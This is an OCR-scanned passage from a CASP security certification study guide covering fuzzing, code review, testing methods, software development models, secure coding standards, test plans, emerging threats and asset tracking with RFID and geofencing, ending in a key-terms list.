determine whether the application is properly handling error exceptions. 
For example, say that you have a web application that is still undergoing 
testing, and you notice that when you mistype your credentials in the login 
screen of the application, the program crashes, and you are presented with 
a command prompt. If you wanted to reproduce the issue for study, you 
could run an online fuzzer against the login screen. 


Figure 18-2 shows the output of a fuzzer called Peach. It is fuzzing the 
application with a mutator called StringMutator that continually alters the 
input. You can see in this output that some input to the tool has caused a 
crash. Peach has verified the fault by reproducing it. It sends more detail to 
a log that you can read to understand exactly what string value caused the 
crash. 
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Figure 18-2 Peach Fuzzer Output 


The Microsoft SDL File/Regex Fuzzer is actually composed of two tools. 
One is File Fuzzer, which generates random content in files, and the other 
is Regex Fuzzer, which tests functions that use regular expressions. These 
tools are no longer available, but Microsoft has a new cloud-based fuzzing 
service. Microsoft’s Security Risk Detection (MSRD) tool uses artificial 
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intelligence to automate the reasoning process that security experts use to 
find bugs and augments this process with cloud-based scaling. Figure 18-3 
shows Regex Fuzzer walking the user through the fuzzing process. As you 
can see in this figure, in step 1 you enter the expression pattern to be tested 
and then proceed through the other steps. 


Choose a set of attack characters © Reduced set of common attack characters fastest) 
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Al Unicode characters fost thorough. but very slow) 
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Fie a bug. You can ceste a bug 


and add t to a Mcrosoft Team 
Foundaton Server team project 


Ready 





Figure 18-3 Regex Fuzzer 


Static 


Static testing refers to testing or examining software when it is not 
running. The most common type of static analysis is code review. Code 
review is the systematic investigation of the code for security and 
functional problems. It can take many forms, from simple peer review to 
formal code review. There are two main types of reviews: 
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= Formal review: This is an extremely thorough, line-by-line 
inspection, usually performed by multiple participants using multiple 
phases. This is the most time-consuming type of code review but the 
most effective at finding defects. 


= Lightweight review: This type of code review is much more cursory 
than a formal review. It is usually done as a normal part of the 
development process. It can happen in several forms: 


= Pair programming: Two coders work side-by-side, checking 
one another’s work as they go. 


= Email: Code is emailed around to colleagues for them to 
review when time permits. 


= Over-the-shoulder: Coworkers review the code, and the 
author explains his or her reasoning. 


= Tool-assisted: Using automated testing tools is perhaps the 
most efficient method. 


While code review is most typically performed on in-house applications, it 
may be warranted in other scenarios as well. For example, say that you are 
contracting with a third party to develop a web application to process 
credit cards. Considering the sensitive nature of the application, it would 
not be unusual for you to request your own code review to assess the 
security of the product. 


In many cases, more than one tool should be used in testing an application. 
For example, an online banking application that has had its source code 
updated should undergo both penetration testing with accounts of varying 
privilege levels and a code review of the critical models to ensure that 
defects do not exist. 


Dynamic 


Dynamic testing is testing performed on software while it is running. This 
testing can be performed manually or by using automated testing tools. 
There are two general approaches to dynamic testing: 
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= Synthetic transaction monitoring, which is a type of proactive 
monitoring, is often preferred for websites and applications. It 
provides insight into the application’s availability and performance, 
warning of any potential issue before users experience any 
degradation in application behavior. It uses external agents to run 
scripted transactions against an application. For example, Microsoft’s 
System Center Operations Manager uses synthetic transactions to 
monitor databases, websites, and TCP port usage. 


= In contrast, real user monitoring (RUM), which is a type of passive 
monitoring, is a monitoring method that captures and analyzes every 
transaction of every application or website user. Unlike synthetic 
monitoring, which attempts to gain performance insights by regularly 
testing synthetic interactions, RUM cuts through the guesswork by 
seeing exactly how your users are interacting with the application. 


Misuse Case Testing 


Misuse case testing, also referred to as negative testing, tests an 
application to ensure that the application can handle invalid input or 
unexpected behavior. This testing is completed to ensure that an 
application will not crash and to improve application quality by identifying 
its weak points. When misuse case testing is performed, organizations 
should expect to find issues. Misuse testing should include testing for the 
following conditions: 


= Required fields must be populated. 


= Fields with a defined data type can only accept data that is the 
required data type. 


= Fields with character limits only allow the configured number of 
characters. 


= Fields with a defined data range only accept data within that range. 
= Fields only accept valid data. 


Test Coverage Analysis 


Test coverage analysis uses test cases that are written against the 
application requirements specifications. Individuals involved in this 
analysis do not need to see the code to write the test cases. Once a 
document is written that describes all the test cases, test groups refer to a 
percentage of the test cases that were run, that passed, that failed, and so 
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on. The application developer usually performs test coverage analysis as a 
part of unit testing. Quality assurance groups use overall test coverage 
analysis to indicate test metrics and coverage according to the test plan. 


Test coverage analysis creates additional test cases to increase coverage. It 
helps developers find areas of an application not exercised by a set of test 
cases. It helps in determining a quantitative measure of code coverage, 
which indirectly measures the quality of the application or product. 


One disadvantage of code coverage measurement is that it measures 
coverage of what the code covers but cannot test what the code does not 
cover or what has not been written. In addition, this analysis looks at a 
structure or function that is already there rather than at those that do not 
yet exist. 


Interface Testing 


Interface testing evaluates whether an application’s systems or components 
correctly pass data and control to one another. It verifies whether module 
interactions are working properly and whether errors are handled properly. 
Interfaces that should be tested include client interfaces, server interfaces, 
remote interfaces, graphical user interfaces (GUIs), APIs, external and 
internal interfaces, and physical interfaces. 


GUI testing involves testing a product’s GUI to ensure that it meets its 
specifications through the use of test cases. API testing involves testing 
APIs directly in isolation and as part of the end-to-end transactions 
exercised during integration testing to determine whether the APIs return 
the correct responses. 


Development Approaches 


In the course of creating software over the past 30 years, developers have 
learned many things about the development process. As development 
projects have grown from a single developer to small teams to now large 
development teams working on massive projects with many modules that 
must securely interact, development models have been created to increase 
the efficiency and success of these projects. Lessons learned have been 
incorporated into these models and methods. The following sections 
discuss some of the common models, along with concepts and practices 
that must be understood to implement them. 
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The following sections discuss these software development methods: 


Tovic 
= Build and fix 
= Waterfall 
= V-shaped 
= Prototyping 
= Incremental 
= Spiral 
= Rapid application development (RAD) 
= Agile 
= Joint analysis (or application) development (JAD) 
=» Cleanroom 


Build and Fix 


While not a formal model, the build and fix approach was often used in the 
past and has been largely discredited; it is now used as a template for how 
not to manage a development project. 


Simply put, build and fix involves developing software as quickly as 
possible and releasing it. No formal control mechanisms are used to 
provide feedback during the process. The product is rushed to market, and 
problems are fixed on an as-discovered basis with patches and service 
packs. Although this approach gets the product to market faster and more 
cheaply, in the long run, the costs involved in addressing problems and the 
psychological damage to the product in the marketplace outweigh any 
initial cost savings. 


Despite the fact that this model is still in use today, most successful 
developers have learned to implement one of the other models discussed in 
this section so that the initial product, while not necessarily perfect, comes 
much closer to meeting all the functional and security requirements of the 
design. Moreover, using these models helps in identifying and eliminating 
as many bugs as possible without relying on the customer for quality 
control. 


In this simplistic model of the software development process, certain 
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unrealistic assumptions are made, including the following: 


= Each step can be completed and finalized without any effect from the 
later stages that might require rework. 


= Iteration (reworking and repeating) among the steps in the process, 
which is typically called for in other models, is not stressed in this 
model. 


= Phases are not seen as individual milestones, as they are in some 
other models discussed here. 


Waterfall 


The original Waterfall method breaks up the software development 
process into distinct phases. While it is a somewhat rigid approach, it sees 
the process as a sequential series of steps that are followed without going 
back to earlier steps. This approach is called incremental development. 
Figure 18-4 is a representation of this process. 
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Final 
Product 


Figure 18-4 Waterfall Method 


The modified Waterfall method views each phase in the process as its own 
milestone in the project management process. Unlimited backward 
iteration (returning to earlier stages to address problems) is not allowed in 
this model. However, product verification and validation are performed in 
this model. Problems that are discovered during the project do not initiate 
a return to earlier stages but rather are dealt with after the project is 
complete. 


V-Shaped 


While still a somewhat rigid model, the V-shaped model differs from the 
Waterfall method primarily in that verification and validation are 
performed at each step. While this model can work when all requirements 
are well understood up front (which is frequently not the case) and 
potential scope changes are small, it does not provide for handling events 
concurrently as it is also a sequential process, like the Waterfall method. It 
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does build in a higher likelihood of success because it involves performing 
testing at every stage. Figure 18-5 shows this process. 
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Figure 18-5 V-shaped Model 


Prototyping 


While not a formal model, prototyping involves using a sample of code to 
explore a specific approach to solving a problem before extensive time and 
cost have been invested. This allows the application development team to 
both identify the utility of the sample code and identify design problems 
with the approach. Prototyping systems can provide significant time and 
cost savings, as you don’t have to make the whole final product before you 
begin testing it. 


Incremental 


A refinement to the basic Waterfall model, in the Incremental model, 
software is developed in increments of functional capability. In this model, 
a working version or iteration of the solution is produced, tested, and 
redone until the final product is completed. It could be thought of as a 
series of waterfalls. After each iteration or version of the software is 
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completed, it is tested to identify gaps in functionality and security from 
the original design. Then the gaps are addressed by proceeding through the 
same analysis, design, code, and test stages again. When the product is 
deemed acceptable with respect to the original design, it is released. Figure 
18-6 shows this process. 


Requirement 


Design Requirement 


Implementation Design Requirement 


Implementation 


Implementation 


Figure 18-6 Incremental Model 


Spiral 


The spiral model is actually a meta-model that incorporates a number of 
the software development models. Like the incremental model, the spiral 
model is also an iterative approach, but it places more emphasis on risk 
analysis at each stage. Prototypes are produced at each stage, and the 
process can be seen as a loop that keeps circling back to take a critical look 
at risks that have been addressed while still allowing visibility into new 
risks that may have been created in the last iteration. 


The spiral model assumes that knowledge gained at each iteration is 
incorporated into the design as it evolves. In some cases, it even involves 
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the customer making comments and observations at each iteration as well. 
Figure 18-7 shows this process. The radial dimension of the diagram 
represents cumulative cost, and the angular dimension represents progress 
made in completing each cycle. 
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Figure 18-7 Spiral Model 


Rapid Application Development (RAD) 


In the RAD model, less time is spent upfront on design, and emphasis is on 
rapidly producing prototypes, under the assumption that crucial knowledge 
can be gained only through trial and error. This model is especially helpful 
when requirements are not well understood at the outset and are developed 
as issues and challenges arise while building prototypes. Figure 18-8 
compares the RAD model to traditional models in which the project is 
completed fully and then verified and validated. 
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Agile 


Many of the processes discussed thus far rely on rigid adherence to 
process-oriented models. In many cases, there is more of a focus on 
following procedural steps than on reacting to changes quickly and 
increasing efficiency. The Agile model puts more emphasis on continuous 
feedback and cross-functional teamwork. 


Agile attempts to be nimble enough to react to situations that arise during 
development. Less time is spent on upfront analysis, and more emphasis is 
placed on learning from the process and incorporating lessons learned in 
real time. There is also more interaction with the customer throughout the 
process. Figure 18-9 compares the Waterfall model and the Agile model. 
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Figure 18-9 Waterfall and Agile Models Comparison 


JAD 


The joint analysis (or application) development (JAD) model uses a team 
approach. Through workshops, a team agrees on requirements and resolves 
differences. The theory is that by bringing all parties together at all stages, 
a more satisfying product will emerge at the end of the process. 


Cleanroom 


In contrast to the JAD model, the Cleanroom model strictly adheres to 
formal steps and a more structured method. It attempts to prevent errors 
and mistakes through extensive testing. This method works well in 
situations where high quality is a must, the application is mission critical, 
or the solution must undergo a strict certification process. 
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DevOps 


Traditionally, three main actors in the software development process— 
development (Dev), quality assurance (QA), and operations (Ops)— 
performed their functions separately, or operated in “silos.” Work would 
go from Dev to QA to Ops, in a linear fashion, as shown in Figure 18-10. 


=> = 
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Figure 18-10 Traditional Development 


This often led to delays, finger-pointing, and multiple iterations through 
the linear cycle due to an overall lack of cooperation between the units. 


DevOps aims at shorter development cycles, increased deployment 
frequency, and more dependable releases, in close alignment with business 
objectives. It encourages the three units to work together through all 
phases of the development process. Figure 18-11 shows a common symbol 
that represents this idea. 
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Figure 18-11 DevOps 


Security Implications of Agile, Waterfall, and Spiral Software 
Development Methodologies 


When you implement security activities across the technology life cycle, 
you may need to use the Agile, Waterfall, and spiral software development 
methodologies. As a security practitioner, you need to understand the 
security implications of these methodologies. 


Security Implications of Agile Software Development 


Agile software development is an iterative and incremental approach. 
Developers work on small modules. As users’ requirements change, 
developers respond by addressing the changes. Changes are made as work 
progresses. Testing and customer feedback occur simultaneously with 
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development. The agile method prioritizes collaboration over design. 


With the Agile software development methodology, the highest priority is 
to satisfy the customer. Requirements for the software change often. New 
deliveries occur at short intervals. Developers are trusted to do their jobs. 

A working application is the primary measure of success. 


Agile development is subject to some risks: 


= Security testing may be inadequate. 
= New requirements may not be assessed for their security impact. 


= Security issues may be ignored, particularly if they would cause 
schedule delays. 


= Security often falls by the wayside. 

= Software that functions correctly may not necessarily be secure. 
To address these issues, organizations should include a security architect 
as part of the development team. Security awareness training should be 
mandatory for all team members. Security standards and best practices 


should be documented and followed by the entire team. Security testing 
tools should be used to test each development piece. 


Security Implications of the Waterfall Model 


The Waterfall model is a linear and sequential model. In this model, the 
team moves to the next phase only after the activities in the current phase 
are over. However, the team cannot return to the previous stage. The 
phases of this model are: 

= Requirements and analysis 

= Design 

= Coding 

= System integration 

= Testing and debugging 

= Delivery 

=» Maintenance 
With the Waterfall software development methodology, the development 


Stages are not revisited, projects take longer, and testing is harder because 
larger pieces are released. Often risks are ignored because they can 
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negatively impact the project. This software development method involves 
the following risks: 


= Developers cannot return to the design stage if a security issue is 
discovered. 


= Developers may end up with software that is no longer needed or that 
doesn’t address current security issues. 


= Security issues are more likely to be overlooked due to time 
constraints. 


Security Implications of the Spiral Model 


The spiral model was introduced due to the shortcomings in the Waterfall 
model. In the spiral model, the activities of software development are 
carried out like a spiral. The software development process is broken down 
into small projects. The phases of the spiral model are as follows: 


= Planning 

= Risk analysis 

=m Engineering 

= Coding and implementation 
= Evaluation 


With the spiral software development methodology, requirements are 
captured quickly and can be changed easily. But if the initial risk analysis 
is inadequate, the end project will have issues. Involving a risk analysis 
expert as part of the team can help ensure that the security is adequately 
assessed and designed. 


Agile and spiral are usually considered better methods than the Waterfall 
method, especially considering how quickly the security landscape can 
change. However, each organization needs to decide which method best 
works for its particular situation. 


Continuous Integration 


In software engineering, continuous integration (CI) is the practice of 
merging all developer working copies to a shared mainline several times a 
day. This helps prevent one developer’s work-in-progress from breaking 
another developer’s copy. In its original form, CI was used in combination 
with automated units and was conceived of as running all unit tests in the 
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developer’s local environment and verifying they all passed before 
committing them to the mainline. Later implementations introduced build 
servers, which automatically ran the unit tests periodically or even after 
every commit and reported the results to the developer. 


Versioning 


Versioning is an organization concept that assigns a numbering system to 
software versions that help indicate where the version falls in the version 
history. Versioning helps to ensure that developers are working with the 
latest versions and eventually that users are using the latest version. 
Several approaches can be used. Version changes might add new 
functionality or might correct bugs. 


A sequence-based versioning numbering system uses a hierarchy to 
indicate major and minor revisions. An example of this type of numbering 
is shown in Figure 18-12. Major revision might be represented as a change 
from 1.1 to 1.2, while minor ones might be represented as 1.1 to 1.12. 
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Figure 18-12 Sequence-Based Versioning 


Other systems may be based on alphanumeric codes or date of release. 


Secure Coding Standards 


Secure coding standards are practices that, if followed throughout the 
software development life cycle, help reduce the attack surface of an 
application. Standards are developed through a broad-based community 
effort for common programming languages such as C, C++, Java, and Perl. 
Some of this work has been spearheaded by the Computer Emergency 
Readiness Team (CERT). Examples of resulting publications are: 


= The CERT C Secure Coding Standard 

= The CERT C++ Secure Coding Standard 

= The CERT Perl Secure Coding Standard 

= SEI CERT C Coding Standard 

=» SEI CERT Oracle Coding Standard for Java 
=» Android TM Secure Coding Standard 

=» SEI CERT Perl Coding Standard 


Documentation 


Proper documentation during the development process helps ensure proper 
functionality and adequate security. Many processes should be 
documented, which will generate a number of documents. The following 
sections look at some of these processes and the resulting documents. 


Security Requirements Traceability Matrix (SRTM) 


A security requirements traceability matrix (SRTM) documents the 
security requirements that a new asset must meet. The matrix maps the 
requirements to security controls and verification efforts in a grid, such as 
an Excel spreadsheet. Each row in the grid documents a new requirement, 
and the columns document the requirement identification number, 
description of the requirement, source of the requirement, test objective, 
and test verification method. It allows security practitioners and developers 
to ensure that all requirements are documented, met in the final design, and 
tested properly. 


876 


An SRTM would help to determine whether an appropriate level of 
assurance to the security requirements specified at project origin are 
carried through to implementation. 


Let’s look at an example. Suppose a team of security engineers applies 
regulatory and corporate guidance to the design of a corporate network. 
The engineers generate an SRTM based on their work and a thorough 
analysis of the complete set of functional and performance requirements in 
the network specification. The purpose of an SRTM in this scenario is to 
allow certifiers to verify that the network meets applicable security 
requirements. 


Requirements Definition 


A requirements definition is a list of functional and security requirements 
that must be satisfied during a software development process. It can follow 
several formats. One traditional way of documenting requirements has 
been contract-style requirement lists, which are just what they sound like: 
lists of requirements. Another method is to define these requirements by 
use cases, with use case providing a set of scenarios that convey how the 
system should interact with a human user or another system to achieve a 
specific business goal. 


System Design Document 


The system design document (SDD) provides the description of the 
software and is usually accompanied by an architectural diagram. It 
contains the following information: 
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= Data design: This type of design describes the choice of data 
structures and the attributes and relationships between data objects 
that drove the selection. 


= Architecture design: This type of design uses data flow diagrams 
and transformation mapping to describe distinct boundaries between 
incoming and outgoing data. It uses information flow characteristics 
and maps them into the program structure. 


= Interface design: This type of design describes all interfaces, 
including internal and external program interfaces, as well as the 
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design of the human interface. 


= Procedural design: This type of design represents procedural detail 
and structured programming concepts, using graphical, tabular, and 
textual notations. It provides a blueprint for implementation and 
forms the basis for all subsequent software engineering work. 


Testing Plans 


A test plan is a document that describes the scope of the test (what it will 
test) and the specific activities that will occur during the test. There are 
several forms of test plans: 
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=» Master test plan: This is a single high-level test plan for a 
project/product that unifies all other test plans. 


= Testing level—-specific test plan: This type of plan describes a test 
process at a lower level of testing, such as: 


= Unit test plan 
= Integration test plan 
= System test plan 
= Acceptance test plan 
= Testing type-specific test plan: This type of plan is for a specific 
issue, such as performance tests and security tests. 


It might be beneficial to create a test template to ensure that all required 
operations are carried out and all relevant testing data is collected. Such a 
template might include the following sections (based on the IEEE template 
for testing documentation): 


= Test plan identifier: Provide a unique identifier for the document. 
(Adhere to the configuration management system if you have one.) 
= Introduction: 
= Provide an overview of the test plan. 
= Specify the goals/objectives. 
= Specify any constraints. 


= References: List the related documents, with links to them, if 
available, including the following: 
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= Project plan 
= Configuration management plan 


= Test items: List the test items (software/products) and their versions. 
Features to be tested: 


= List the features of the software/product to be tested. 
= Provide references to the requirements and/or design 
specifications of the features to be tested. 


Features not to be tested: 


= List the features of the software/product that will not be tested. 
= Specify the reasons these features won’t be tested. 

= Approach: 
= Mention the overall approach to testing. 


= Specify the testing levels (if it’s a master test plan), the testing 
types, and the testing methods (manual/automated; white 
box/black box/gray box). 


= Item pass/fail criteria: Specify the criteria that will be used to 
determine whether each test item (software/product) has passed or 
failed testing. 


= Suspension criteria and resumption requirements: 
= Specify criteria to be used to suspend the testing activity. 


= Specify testing activities that must be redone when testing is 
resumed. 


= Test deliverables: List test deliverables and links to them, if 
available, including the following: 


= Test plan (this document itself) 
m Test cases 
= Test scripts 
= Defect/enhancement logs 
= Test reports 
=» Test Environment: 


= Specify the properties of the test environment (hardware, 
software, network, and so on). 
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= List any testing or related tools. 


Estimate: Provide a summary of test estimates (cost or effort) and/or 
provide a link to the detailed estimation. 


Schedule: Provide a summary of the schedule, specifying key test 
milestones, and/or provide a link to the detailed schedule. 


Staffing and training needs: 
= Specify staffing needs by role and required skills. 


= Identify training that is necessary to provide those skills, if not 
already acquired. 


Responsibilities: List the responsibilities of each 
team/role/individual. 


Risks: 
= List the risks that have been identified. 


= Specify the mitigation plan and the contingency plan for each 
risk. 


Assumptions and dependencies: 


= List the assumptions that have been made during the 
preparation of this plan. 


= List the dependencies. 
Approvals: 


= Specify the names and roles of all persons who must approve 
the plan. 


= Provide space for signatures and dates (if the document is to 
be printed). 


Validation and Acceptance Testing 


Validation testing ensures that a system meets the requirements defined by 
the client, and acceptance testing ensures that a system will be accepted by 
the end users. If a system meets the client’s requirements but is not 
accepted by the end users, its implementation will be greatly hampered. If 
a system does not meet the client’s requirements, the client will probably 
refuse to implement the system until the requirements are met. 


Validation testing should be completed before a system is formally 
presented to the client. Once validation testing has been completed, 
acceptance testing should be completed with a subset of the users. 
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Validation testing and acceptance testing should not just be carried out for 
systems. As a security practitioner, you need to make sure that validation 
testing and acceptance testing are carried out for any security controls that 
are implemented in your enterprise. If you implement a new security 
control that does not fully protect against a documented security issue, 
there could be repercussions for your organization. If you implement a 
security control that causes problems, delays, or any other user acceptance 
issues, employee morale will suffer. Finding a balance between the two is 
critical. 


Unit Testing 


Software is typically developed in pieces, or as modules of code, that are 
later assembled to yield the final product. Each module should be tested 
separately, in a procedure called unit testing. Having development staff 
carry out this testing is critical, but using a different group of engineers 
than the ones who wrote the code can ensure that an impartial process 
occurs. This is a good example of the concept of separation of duties. 


The following should be characteristics of the unit testing: 


= The test data is part of the specifications. 


= Testing should check for out-of-range values and out-of-bounds 
conditions. 


= Correct test output results should be developed and known 
beforehand. 


Live or actual field data is not recommended for use in the unit testing 
procedures. 


Additional testing is recommended, including the following: 
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= Integration testing: This type of testing assesses the way in which 
the modules work together and determines whether functional and 
security specifications have been met. The advantages to this testing 
include: 


= It provides a systematic technique for assembling system 
while uncovering errors. 


= It confirms assumptions which were made during unit testing 
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= It can begin as soon as the relevant modules are available. 
= It verifies whether the software modules work in unity. 


Disadvantages include: 


= Locating faults is difficult. 
= Some interface links to be tested could be missed. 
= It can commence only after all the modules are designed. 
= High-risk critical modules are not isolated and tested on 
priority. 
= User acceptance testing: This type of testing ensures that the 


customer (either internal or external) is satisfied with the functionality 
of the software. The advantages to this testing include: 


= The satisfaction of the client is increased. 
= The criteria for quality are set early. 


= Improved communication between team and customer. 
The only disadvantage is that it adds cost to the process. 


= Regression testing: This type of testing takes places after changes 
are made to the code to ensure that the changes have reduced neither 
functionality nor security. Its advantages include the following: 


= Better integration of changes 
= Improved product quality 
= Detection of side effects 


The only disadvantage is the additional cost, but it is well 
worth it. 


= Peer review: this type of testing, developers review one another’s 
code for security issues and code efficiency. The advantage is that it 
is more thorough than automated methods. The disadvantage is that it 
is time-consuming. 


Adapt Solutions 


New threats and security trends emerge every day. Organizations and the 
security practitioners they employ must adapt to new threats and 
understand new security trends to ensure that the enterprise is protected. 
However, the security objective of an organization rarely changes. 


882 


Address Emerging Threats 


Retail organizations are increasingly under attack. One company released a 
public statement about hackers breaching security and stealing private 
customer data. Unfortunately, it seems that not every major retailer took 
notice when this attack occurred, as almost monthly a new victim came 
forth. As a result, banks and other financial institutions were forced to 
issue new credit/debit cards to their customers. These attacks affected the 
retail companies, their customers, and financial institutions. What could 
these companies have done differently to prevent these attacks? Perhaps 
more should be shared within the retail industry and between security 
professionals when these types of attacks occur. Occurrences like this will 
become the norm unless we find some solutions, and this is just one recent 
example of emerging threats to which organizations must adapt. 


Figure 18-13 shows a popular vulnerability cycle taught in many security 
seminars that explains the order of vulnerability types that attackers run 
through over time. 
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Figure 18-13 Vulnerability Cycle 


Trends tend to work through this vulnerability cycle. A trending period 
where human interaction and social engineering are prevalent will soon be 
followed by a period where network attacks are prevalent. Once 
organizations adapt, attackers logically move to the next area in the cycle: 
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services and servers. As time passes, organizations adapt, but so do the 
attackers. As a security professional, you must try to stay one step ahead of 
the attackers. Once you have implemented a new security control or 
solution, you cannot rest! You must then do your research, watch your 
enterprise, and discover the next threat or trend. One thing is for sure: A 
security practitioner with real skills and willingness to learn and adapt will 
always have job security! 


Threat intelligence helps an organization understand new risks. Once new 
threats are more well understood, the organization will be better positioned 
to defend against them. Security professionals then will also be better 
prepared for those threats to which they are vulnerable. 


Address Disruptive Technologies 


Disruptive technologies are technologies that are so revolutionary they 
change the way things are done and create new ways in which people use 
technology. They are disruptive in the sense that they sometimes change 
the way an entire industry operates. For example, self-driving cars will 
certainly put chauffeurs out of work. 


While disruptive technologies are always forward looking and 
revolutionary, they are not always secure. In the rush to get a disruptive 
technology to market, security is not always the primary focus. For this 
reason, many organizations allow others to ride on the “bleeding edge” of 
the technology. 
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Some of the disruptive technologies on the horizon as we approach 2020 
are: 


= The four-year upgrade cycle will be a thing of the past. Yearly cycles 
for desktop updates will be the norm. 


= Phishing attacks will victimize 1 out every 10 users, leading security 
professionals to focus their efforts in the following areas going 
forward: 


= Securing the perimeter 
= Encrypting at rest and in transit 
= Bring your own device (BYOD) initiatives will drive solutions such 
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as mobile device management (MDM). 
= Usability issues caused by security measures will decline. 
= We will see more movement to the cloud. 


= Artificial intelligence and machine learning will be increasingly 
utilized to locate new clients and customers. 


= 5G wireless promises to be at least 40 times faster and have at least 4 
times as much coverage as 4G. 


Address Security Trends 


Trends are, by nature, temporary—and security trends are no exception. 
As we look toward the 2020 decade, these are what some security 
visionaries see in our future: 
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= A return to the zero-trust model: Organizations will move to a 
highly defensive posture in the face of ever-more-sophisticated 
attacks. Every privilege will be granted to a user only when 
absolutely required. 


= Deception technology will rise in the fight to secure the Internet 
of things (IoT): This technology floods the network and makes it 
mathematically impossible for cybercriminals to gain access to a 
legitimate set of user identities. When one of these fake credentials is 
compromised and used, deception technology alerts IT. 


= Behavioral analytics and artificial intelligence will be used in 
identity management: The system will learn user habits and be able 
to more easily identify activities that are abnormal. 


= Robo hunters will be used as automated threat seekers: They can 
learn from what they discover and then take appropriate action (for 
example, by isolating a bad packet or compromised device). 


= Blockchain will find increasing use: Blockchain allows a digital 
ledger of transactions to be created and shared among participants via 
a distributed network of computers. The blockchain ledger can detect 
suspicious online behavior and isolate the connection. This 
immutable ledger can also be presented in court and can prove that an 
unauthorized person extracted or copied a set of data. 
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Asset Management (Inventory Control) 


Asset management and inventory control across the technology life cycle 
are critical to ensuring that assets are not stolen or lost and that data on 
assets is not compromised in any way. Asset management and inventory 
control are two related areas. Asset management involves tracking the 
devices that an organization owns, and inventory control involves tracking 
and containing inventory. All organizations should implement asset 
management, but not all organizations need to implement inventory 
control. 


Device-Tracking Technologies 


Device-tracking technologies allow organizations to determine the location 
of a device and also often allow the organization to retrieve the device. 
However, if the device cannot be retrieved, it may be necessary to wipe the 
device to ensure that the data on the device cannot be accessed by 
unauthorized users. As a security practitioner, you should stress to your 
organization the need to implement device-tracking technologies and 
remote wiping capabilities. 


Geolocation/GPS Location 


Device-tracking technologies include geolocation or Global Positioning 
System (GPS) location. With this technology, location and time 
information about an asset can be tracked, provided that the appropriate 
feature is enabled on the device. For most mobile devices, the geolocation 
or GPS location feature can be enhanced through the use of Wi-Fi 
networks. A security practitioner must ensure that the organization enacts 
mobile device security policies that include the mandatory use of GPS 
location features. In addition, it will be necessary to set up appropriate 
accounts that allow personnel to use the vendor’s online service for device 
location. Finally, remote locking and remote wiping features should be 
seriously considered, particularly if the mobile devices contain 
confidential or private information. 


Object Tracking and Containment Technologies 


Object tracking and containment technologies are primarily concerned 
with ensuring that inventory remains within a predefined location or area. 
Object tracking technologies allow organizations to determine the location 
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of inventory. Containment technologies alert personnel within the 
organization if inventory has left the perimeter of the predefined location 
or area. 


For most organizations, object tracking and containment technologies are 
used only for inventory assets above a certain value. For example, most 
retail stores implement object containment technologies for high-priced 
electronics devices and jewelry. However, some organizations implement 
these technologies for all inventory, particularly in large warehouse 
environments. 


Technologies used in this area include geotagging/geofencing and radio 
frequency identification (RFID). 


Geotagging/Geofencing 


Geotagging involves marking a video, photo, or other digital media with a 
GPS location. In recent news, this feature has received bad press because 
attackers can use it to pinpoint personal information, such as the location 
of a person’s home. However, for organizations, geotagging can be used to 
create location-based news and media feeds. In the retail industry, it can be 
helpful for allowing customers to locate a store where a specific piece of 
merchandise is available. 


Geofencing uses GPS to define geographic boundaries. A geofence is a 
virtual barrier, and alerts can occur when inventory enters or exits the 
boundary. Geofencing is used in retail management, transportation 
management, human resources management, law enforcement, and other 
areas. 


RFID 


RFID uses radio frequency chips and readers to manage inventory. The 
chips are placed on individual pieces or pallets of inventory. RFID readers 
are placed throughout the location to communicate with the chips. 
Identification and location information are collected as part of the RFID 
communication. Organizations can customize the information that is stored 
on an RFID chip to suit their needs. 


Two types of RFID systems can be deployed: active reader/passive tag 
(ARPT) and active reader/active tag (ARAT). In an ARPT system, the 
active reader transmits signals and receives replies from passive tags. In an 
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ARAT system, active tags are woken with signals from the active reader. 


RFID chips can be read only if they are within a certain proximity of the 
RFID reader. A recent implementation of RFID chips is the Walt Disney 
Magic Band, which is issued to visitors at Disney resorts and theme parks. 
The band verifies park admission and allows visitors to reserve attraction 
and restaurant times and pay for purchases in the resort. 


Different RFID systems are available for different wireless frequencies. If 
your organization decides to implement RFID, it is important that you 
fully research the advantages and disadvantages of different frequencies. 
However, that information is beyond the scope of the CASP exam. 


Exam Preparation Tasks 


As mentioned in the section “How to Use This Book” in the Introduction, 
you have a couple choices for exam preparation: the exercises here, 
Chapter 20, “Final Preparation,” and the practice exams in the Pearson IT 
Certification test engine. 


Review All Key Topics 


Review the most important topics in this chapter, noted with the Key 
Topics icon in the outer margin of the page. Table 18-1 lists these key 
topics and the page number on which each is found. 


a 





Topic 


Table 18-1 Key Topics for Chapter 18 


Key Topic Description Page 
Element Number 
List The steps in the SDLC 665 

List Functions of configuration 672 

management 

List Disposal terms and concepts 673 

List Software development life cycle steps 674 

List Types of testing 676 
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List Software acquisition phases 679 


List NX and XN bit use 682 
List Characteristics of high-quality code 683 
List Types of fuzzing 684 
List Types of code reviews 686 
List Approaches to dynamic testing 686 
List Software development methods 688 
List Contents of a system design document 701 
List Testing plans 702 
List Unit testing procedures 705 
List Disruptive technologies 708 
List Security trends 708 
Define Key Terms 


Define the following key terms from this chapter and check your answers 
in the glossary: 
systems development life cycle (SDLC) 
initiation stage 
acquisition stage 
implementation stage 
disposal stage 
test and evaluation phase 
commissioning 
decommissioning 
baseline 
change management 
configuration management 
configuration item (CI) 
data purging 
data remnant 


data clearing 
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software development life cycle 

plan/initiate phase 

gather requirements phase 

design phase 

develop phase 

test/validate phase 

verification testing 

validation testing 

release/maintenance phase 

certification 

accreditation 

application security frameworks 

mitigation 

acceptance testing 

planning 

contracting 

monitoring and accepting 

follow-on 

standard libraries 

Web Application Security Consortium (WASC) 
Open Web Application Security Project (OWASP) 
Build Security In (BSI) initiative 

ISO/IEC 27000 series 

Simple Object Access Protocol (SOAP) 

Web Services Security (WS-Security, or WSS) 
NX (no-execute) bit 

XN (never execute) bit 

address space layout randomization (ASLR) 
code quality 

code analyzer 


fuzz testing 
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mutation fuzzing 

generation-based fuzzing 

static testing 

formal review 

lightweight review 

pair programming 

tool-assisted 

dynamic testing 

synthetic transaction monitoring 

real user monitoring (RUM) 

misuse case testing 

test coverage analysis 

Interface testing 

build-and-fix approach 

V-shaped model 

prototyping 

incremental model 

spiral model 

rapid application development (RAD) 
Agile model 

joint analysis (or application) development (JAD) 
Cleanroom model 

DevOps 

continuous integration (CI) 
versioning 

security requirements traceability matrix (SRTM) 
requirements definition 

software design document (SDD) 
data design 

architecture design 


interface design 
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procedural design 

master test plan 

validation testing 

unit testing 

integration testing 

user acceptance testing 
regression testing 

peer review 

vulnerability cycle 

disruptive technologies 
zero-trust model 

robo hunter 

asset Management 

inventory control 

geotagging 

geofencing 

active reader/passive tag (ARPT) 
active reader/active tag (ARAT) 


operation/maintenance stage 


Review Questions 


